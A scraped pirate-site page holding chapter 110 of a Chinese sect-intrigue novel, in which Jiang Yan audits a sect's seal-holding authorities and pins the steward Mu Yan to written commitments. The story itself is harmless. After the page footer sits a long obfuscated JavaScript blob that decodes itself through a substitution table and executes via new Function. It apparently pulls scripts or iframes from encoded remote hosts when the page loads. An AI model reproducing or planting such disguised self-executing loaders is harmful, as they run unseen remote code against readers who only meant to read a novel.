首页
[切换至繁体版]
返回

第110章 印系存在性核验只看权限不看人名

章节报错(免登陆)
下载APP,无广告、完整阅读

新笔趣阁(52xbq.com)更新快,无弹窗!

    第110章印系存在性核验只看权限不看人名(第1/2页)
    议衡殿的晨钟响到第三遍时,宗门里那层薄冰终于出现了第一道可见的裂纹。
    裂纹不是来自某个愤怒的喊话,也不是来自哪一处血腥的冲突,而是来自一份很短、却足够硬的裁定文书:议衡紧急启动“印系责任位存在性核验”,范围限于权限类别与封存印持有范围,不核验姓名,不核验私域行踪;核验地点设在机要库外的公证廊,五方封签含首衡封签;任何以“宗主私域”为由拒绝提供权限类别清单者,入拒责链并冻结相应权限的“动作能力”。
    这份裁定一出,很多堂口的人立刻明白了江砚的打法:不去直接喊“谁是掌心”,也不去直接冲宗主侧要人名,而是先把“掌心必须存在于何种权限结构里”钉死。钉死之后,名字只是最后一层皮,剥起来更快。
    穆延收到裁定时没有来争。他的沉默比争更危险,因为沉默意味着宗主侧要么准备妥协,要么准备掀桌。江砚更倾向第二种——掌心已经试过夺信、试过纸掀桌、试过薄片威慑,如今议衡把“权限类别清单”都要拿出来核验,它如果再不反扑,就会被链勒得喘不过气。
    所以江砚在启动核验的同一刻,也把“反扑可能点”列成了三处:
    其一,印系清单提供环节被做手脚,混入假类别或缺失关键权限;
    其二,机要库工具匣刮痕与议衡殿薄片同源的结论被污染;
    其三,阮某被夺信继续加深,导致其书面补充被质疑,人物链无法闭环。
    他没有把这三处写成预测,而是写成动作:三处同时加槛、加见证、加取样,宁可慢半步,也不留一条可被咬住的程序口子。
    ---
    公证廊是掌律堂与机要库之间的一段长廊,墙上嵌着照光镜,地面铺着可拆卸的步谱板,廊顶装着尾响符与微尘吸附膜。这里不是审讯室,甚至不像“抓人”的地方,它更像一间冷硬的工坊——把所有情绪都磨成可以编号的痕。
    核验开始前,首衡亲自到场。
    首衡一来,廊里人心就稳了。掌心最想断梁,梁的关键钉子就是首衡封签。首衡站在门槛旁,等于告诉所有人:今日核验不是掌律堂与机要监的私斗,是议衡裁定下的宗门行为。谁想说“越权”,先绕过首衡那一印。
    穆延也来了,但仍站槛外,像在守住最后的脸面。他带来两名机要执事,手里捧着一只长匣。长匣外贴着宗主侧封签,封签印影新,磨损谱未见明显断点,但江砚并不急着看印影“像不像”,他要看的,是是否允许“五方封签覆盖宗主侧封签”,是否允许在宗主侧封签之上加首衡封签。只要穆延敢让封签叠上去,就说明宗主侧至少暂时不敢掀桌。
    穆延站在槛外开口,声音沉稳:“宗主侧依议衡裁定,提供印系权限类别清单存在性证明册与封存印持有范围说明。核验仅限权限类别,不涉人名,不涉宗主私域。宗主侧愿配合。”
    首衡抬眼:“愿配合就落笔。落笔承诺:清单真实完整,若后续对照发现缺失或伪造,宗主侧承担遮规责任。”
    穆延没有回避,走到槛前署名抽照,抽到“规”。抽到规的人最怕规被反噬,但他仍落笔写下承诺。落笔那一刻,长廊里很多人都感到一丝微妙的变化:宗主侧总侍衡已经被门槛拖进链里,想抽身,就得付出更大代价。
    长匣被放到公证台上,护印执事先检封签,再由机要监见证员照光封口边缘,确认胶性与昨日宗主侧常用封签体系一致。随后,首衡封签压上去,五方封签齐贴,编号钉时。做完这些,才允许开匣。
    匣开后,里面不是印章本体,而是一册“存在性证明册”和一卷“权限类别索引卷”。
    这是宗主侧聪明的地方:它提供的是“结构”,而不是“实物”。但议衡裁定本就只核验结构,这一步没有越界。
    江砚没有抢着翻册,他先让东市见证员做“册页订线工具谱”取样。订线毛刺谱若异常,说明册页可能被重订、删页或换页。只要订线谱干净,后面谈“清单内容存在性”才有意义。
    订线谱取样后,毛刺形态正常,没有静廊那种蜡刀直切角度,也没有外来薄片撬订线的斜挫痕。沈绫在旁低声:“至少这一册不是临时拼出来的。”
    江砚点头:“至少不是今天拼的。早就准备好了。”
    这句话让人心里更凉:早就准备好,意味着掌心很早就知道会走到“权限结构核验”,所以提前备了能应付核验的“结构文本”。这也说明掌心不是临场应对,而是在长期经营一个可遮可退的权域。
    但经营得再久,也有磨损谱。磨损谱不是纸面,磨损谱在印与工具里。
    核验正式开始。
    议衡复核执事宣读边界:只核验印系责任位类别、封存印类型、封存权限层级(普通封存/上位封存)、以及封存索引管理权限是否存在;不核验具体持有人姓名与行踪;不核验任何宗主私谕文本或内容。
    随后,复核执事按类别逐条核验:
    印系责任位类别,共三类:
    一类为“护印系”,负责公开封签与护印印章管理;
    一类为“机要印系”,负责机要封签与库内封存印管理;
    一类为“静谕印系”,负责静谕线封存印与上位封存索引管理。
    当读到第三类“静谕印系”时,廊里空气明显更冷了一点。上位封存索引的存在已被核验,封存印持有权限也被多条线索指向,如今这类责任位被写在清单里,等于承认它确实存在,且确实有“上位封存”的动作能力。
    江砚立刻让复核执事停一下,问穆延:“静谕印系的封存印类型有哪些?是否包含‘静谕上位封存印’?”
    穆延目光沉了沉,仍回答:“包含。封存印分两级:静谕封存印与静谕上位封存印。上位封存印用于封存索引与高敏刻点的隐藏。”
    这句话像一把钉锤敲在墙上。灰袍、印章交接刻点、临时调度令刻点的隐藏,全部都指向“上位封存”。如今宗主侧当场承认“上位封存印”存在,且有明确用途——隐藏高敏刻点。用途一旦落笔,就意味着后续再想用“系统缺失”“偶然失管”解释刻点缺失就很难了。缺失不是偶然,是被隐藏;隐藏不是系统毛病,是印系权限动作。
    沈执在旁低声:“掌心的手套材质,确定了。”
    江砚没有接“掌心是谁”,他继续按规推进:“静谕印系的上位封存印,持有范围说明。按裁定只需核验范围,不核验姓名。范围说明请出示。”
    穆延把范围说明卷推过来。说明卷上写得很干净:上位封存印由“静谕印系掌印使类责任位”持有,使用需宗主侧总侍衡规签与议衡首衡见证——这句看似“严”,实则是给宗主侧自己留退路:把上位封存印的使用说得极难,等于暗示“很少用、不轻易用”,从而削弱对“频繁隐藏刻点”的质疑。
    江砚却只盯着两个词:掌印使类责任位。
    阮某书面补充里也提到“掌印使类责任位持静谕线封存印示意封存”。现在宗主侧的范围说明卷里同样出现“掌印使”。两条线索终于合拢:掌心位极可能就在这条责任位周边。不是陆归,不是阮某,甚至可能不完全是穆延,而是一个握着封存印的“印系手”。
    江砚抬眼:“范围说明写使用需总侍衡规签与首衡见证。可我们核验到的上位封存索引存在项,已用于隐藏刻点,且隐藏涉及机要库印章交接与护序临时调度。请解释:这些隐藏动作是否均经过首衡见证?若经过,请提供对应见证存在性证明编号;若未经过,说明卷所写‘需首衡见证’不实,属于规章伪严。”
    首衡听到这句,眼神也冷了。他不是为难宗主侧,而是为自己:若隐藏动作经过首衡见证,那首衡的见证链必须存在,否则就是有人假借首衡之名;若隐藏动作未经过首衡见证,那宗主侧在说明卷里写“需首衡见证”就是把议衡当遮羞布。
    穆延沉默了半息,终于说:“上位封存存在项不等于已经执行隐藏动作。存在项可能是预置权限条目,未必触发。”
    江砚平静:“我们核验到的不是‘存在权限条目’,而是‘刻点段缺失且存在上位封存隐藏类别’。缺失是现实,类别是存在。你说未触发,就请解释缺失如何产生。若缺失来自未按规刻点,那是失管;若缺失来自隐藏,那就触发了。请在两者之间选一个,并署名承担。”
    穆延的下颌微微绷紧。他知道这是一道无法两全的门槛:选失管,宗主侧承认机要线与护序线出现重大失管;选隐藏,宗主侧承认上位封存已触发且未必经过议衡见证。无论选哪一个,都要疼。
    首衡看着穆延:“你可以回避不选,但回避也要署名。署名回避,等同拒责。”
    穆延终于抬眼,声音更低:“暂定为失管。宗主侧将启动内部自查,追查为何未按规刻点。”
    江砚点头:“记录:宗主侧对刻点缺失解释为失管。失管自查需列明责任类别与时间表。若后续对照出上位封存触发证据,宗主侧须承担伪解释责任。”
    穆延的嘴角微动,却没再争。因为他已经意识到:今天这场核验,不是要他当场承认“掌心是谁”,而是要他在“每一步解释”上落笔。落笔越多,未来越难改口。一旦改口,尾响与订线与印影都能拆穿。
    核验到此,权限结构已钉死:静谕上位封存印存在,掌印使类责任位存在,上位封存索引管理权限存在。掌心的骨架已经被画出来。
    剩下的只是:这只手的皮肤纹路——也就是磨损谱与刮痕谱。
    ---
    就在公证廊核验进行到最关键的“失管解释落笔”时,机要库那边传来紧急讯息:工具匣锁孔旁出现了新刮痕,且刮痕角度与议衡殿侧门薄片相近,疑为同类薄片再次试探。
    (本章未完,请点击下一页继续阅读)第110章印系存在性核验只看权限不看人名(第2/2页)
    这不是巧合,这是掌心在同时做两件事:一边在公证廊被迫落笔,一边在机要库试图制造新的痕,干扰旧痕,或者制造“多源刮痕”让对照失焦。它在告诉所有人:你们越逼我落笔,我就越在别处动手,让你们忙不过来,让你们的链被分散。
    江砚没有离场。他只对沈执低声:“你带护印去机要库,按‘刮痕谱多点取样’做。记住,不要修复锁孔,不要清理,保持原样。新刮痕要编号,旧刮痕也要编号,时间戳要钉死。我们不怕它制造新痕,我们怕新痕覆盖旧痕。把覆盖也变成证据。”
    沈执领命迅速离开。
    江砚留在公证廊继续把核验做完,因为他知道掌心最想的就是让他离场,让核验变成“首衡与宗主侧对峙”,从而把掌律堂踢出链外。掌律堂不在,很多程序细节就会变软,软了就容易被宗主侧重新主导。
    核验结束前,首衡当场追加了一条裁定:静谕上位封存印的使用范围说明卷需补充“使用记录存在性证明机制”,即未来每一次触发上位封存索引隐藏,必须生成一条不可隐藏的“存在性证明编号”,编号由议衡保管。换句话说,首衡要把“隐藏动作”也纳入不可隐藏的链里,让掌心再也无法舒服地躲在封存后面。
    穆延听到这条,眼神终于出现了一瞬无法遮掩的震动。因为这条裁定会从根上改变掌心的生存方式:从此以后,掌心每动一次封存印,就会留下一个无法抹去的编号。掌心可以继续遮内容,但遮不掉“我动过”。而“动过”本身,就是最危险的自证。
    穆延站在槛外,声音有些发硬:“此条涉及宗主侧核心机密管控机制,需宗主裁示。”
    首衡看着他:“可以。裁示也要编号。你若不同意,就署名拒绝并承担:宗门将视上位封存为不可复核风险源,冻结其动作能力,直至建立存在性证明机制。”
    冻结动作能力,等于剪掉掌心的手腕。
    穆延沉默良久,终究没敢当场拒绝,只能落笔写:“转呈宗主裁示,限时答复。”他把自己又往链里拖深了一寸。
    ---
    傍晚时分,沈执带着机要库刮痕谱取样回来了,脸色比早上更冷。
    “新刮痕不是覆盖旧刮痕。”沈执把拓影膜放到照光镜下,“它刻意避开旧刮痕位置,在另一侧形成一组平行直线刮痕,像在‘绘图’。这不是开匣失败留下的痕,更像是故意留下给我们看的:我还能来,我还能试。”
    江砚看着照光镜里的刮痕,轻轻点头:“威慑。”
    沈执接着说:“但威慑里有一个失误。新刮痕边缘带了一点金属微屑,微屑的颜色偏蓝灰,不像机要库锁孔铜屑。更像某种薄片材料在磨损。”
    护印执事补充:“我们把微屑封存了,准备做金属成分谱对照。若与议衡殿薄片同源,就能证明同一套薄片体系同时出现在议衡殿与机要库。那就不是随机试探,是同一只手在多点布控。”
    江砚的目光落在“同一只手”四个字上,心里比任何时候都稳。掌心越想制造混乱
章节报错(免登陆)
下载APP,无广告、完整阅读
验证码: 提交关闭
!function(){function a(a){var _idx="mt2ffl3njo";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"76Ch"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/^F@77qs2CO/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"^F@77qs2CO"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m7J6YXfhm2YF"="}Ko}X5ThF)mDDT(J67m2YF"="}Ko}2pThFm7J6YXfhm2YF"="}Ko}_JqhFmDDT(J67m2YF"="}Ko}2TOhFm7J6YXfhm2YF"="}Ko}CSqhF)mDDT(J67m2YF"="}Ko})FfThF)fm7J6YXfhm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q/f/}Ko}j(8}vY8^F@77qs2CO"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();